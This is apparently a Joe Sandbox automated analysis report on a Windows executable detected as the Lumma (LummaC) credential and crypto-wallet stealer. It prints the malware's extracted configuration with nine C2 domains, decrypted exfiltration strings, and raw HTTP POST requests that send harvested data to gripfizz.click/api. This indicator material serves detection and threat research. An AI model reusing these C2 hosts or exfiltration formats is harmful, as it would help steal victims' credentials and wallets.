Edit tour

Windows Analysis Report
SET_UP.exe

Overview

General Information

Sample name:	SET_UP.exe
Analysis ID:	1581468
MD5:	cd56e21dfe1460fc3efa75a47c94636a
SHA1:	2f3681813a203c1cd397411840d7837478328bbe
SHA256:	b3fdf6d793ada45f64429549b3601405f6ce1c67819b23add27d53b2e50aa324
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SET_UP.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\SET_UP.exe" MD5: CD56E21DFE1460FC3EFA75A47C94636A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "inherineau.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "scentniej.buzz", "prisonyfork.buzz", "gripfizz.click", "screwamusresz.buzz", "rebuildeso.buzz"], "Build id": "hRjzG3--ELVIRA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1880108911.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4bcc7:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 6428	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 6428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 6428	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:33:12.035929+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.152.152	443	TCP
2024-12-27T20:33:14.220403+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.152.152	443	TCP
2024-12-27T20:33:16.404331+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.152.152	443	TCP
2024-12-27T20:33:18.742370+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.152.152	443	TCP
2024-12-27T20:33:21.531115+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.152.152	443	TCP
2024-12-27T20:33:24.604708+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.152.152	443	TCP
2024-12-27T20:33:27.228932+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.152.152	443	TCP
2024-12-27T20:33:29.366244+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.152.152	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:33:12.904109+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.152.152	443	TCP
2024-12-27T20:33:15.007029+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.152.152	443	TCP
2024-12-27T20:34:02.407142+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.152.152	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:33:12.904109+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.152.152	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:33:15.007029+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.152.152	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:33:25.706874+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49737	172.67.152.152	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: SET_UP.exe.6428.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "inherineau.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "scentniej.buzz", "prisonyfork.buzz", "gripfizz.click", "screwamusresz.buzz", "rebuildeso.buzz"], "Build id": "hRjzG3--ELVIRA"}

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: gripfizz.click
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--ELVIRA

Source: SET_UP.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.152:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: SET_UP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: SET_UP.exe

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_000FC3A9 FindFirstFileExW,		0_2_000FC3A9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0007D7A0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,		0_2_0007D7A0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49737 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.152.152:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: gripfizz.click
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.152.152:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.152.152:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A22UFWYL0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18110Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VZ5FHKCGBYH4MDVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8767Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VEL4IOB3BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20384Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HKS0RFHU2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1213Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0EEXBT3DHN0HGR8LEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1097Host: gripfizz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: gripfizz.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_0009B8D0 CreateFileW,SetFilePointer,GetLastError,ResetEvent,InternetQueryDataAvailable,GetLastError,GetLastError,Sleep,WaitForSingleObject,SetEvent,ResetEvent,InternetReadFile,GetLastError,GetLastError,Sleep,WaitForSingleObject,SetEvent,WriteFile,Sleep,GetFileSize,GetLastError,CloseHandle,DeleteFileW,MoveFileW,CopyFileW,GetLastError,DeleteFileW,CloseHandle,

0_2_0009B8D0

Source: global traffic

DNS traffic detected: DNS query: gripfizz.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gripfizz.click

Source: SET_UP.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SET_UP.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SET_UP.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SET_UP.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1904834876.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927597297.0000000000D1F000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797594602.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microP
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SET_UP.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: SET_UP.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: SET_UP.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SET_UP.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SET_UP.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SET_UP.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: SET_UP.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: SET_UP.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SET_UP.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: SET_UP.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: SET_UP.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SET_UP.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: SET_UP.exe	String found in binary or memory: http://ocsp.sectigo.com0N
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SET_UP.exe, 00000000.00000002.2272312609.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/
Source: SET_UP.exe, 00000000.00000003.1904589109.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/(
Source: SET_UP.exe, 00000000.00000003.2271878174.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927597297.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1904771226.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.2271570690.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797594602.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272556499.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272312609.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/api
Source: SET_UP.exe, 00000000.00000003.2271878174.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.2271570690.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272556499.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/apir
Source: SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/b
Source: SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click/l
Source: SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797626769.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click:443/api
Source: SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1905062850.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880174889.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click:443/api5
Source: SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1905062850.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880174889.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gripfizz.click:443/apiAw
Source: SET_UP.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: SET_UP.exe, 00000000.00000003.1798859586.0000000003805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SET_UP.exe, 00000000.00000003.1821012019.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820901714.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820776598.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798963663.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798859586.0000000003803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: SET_UP.exe, 00000000.00000003.1798963663.0000000003792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
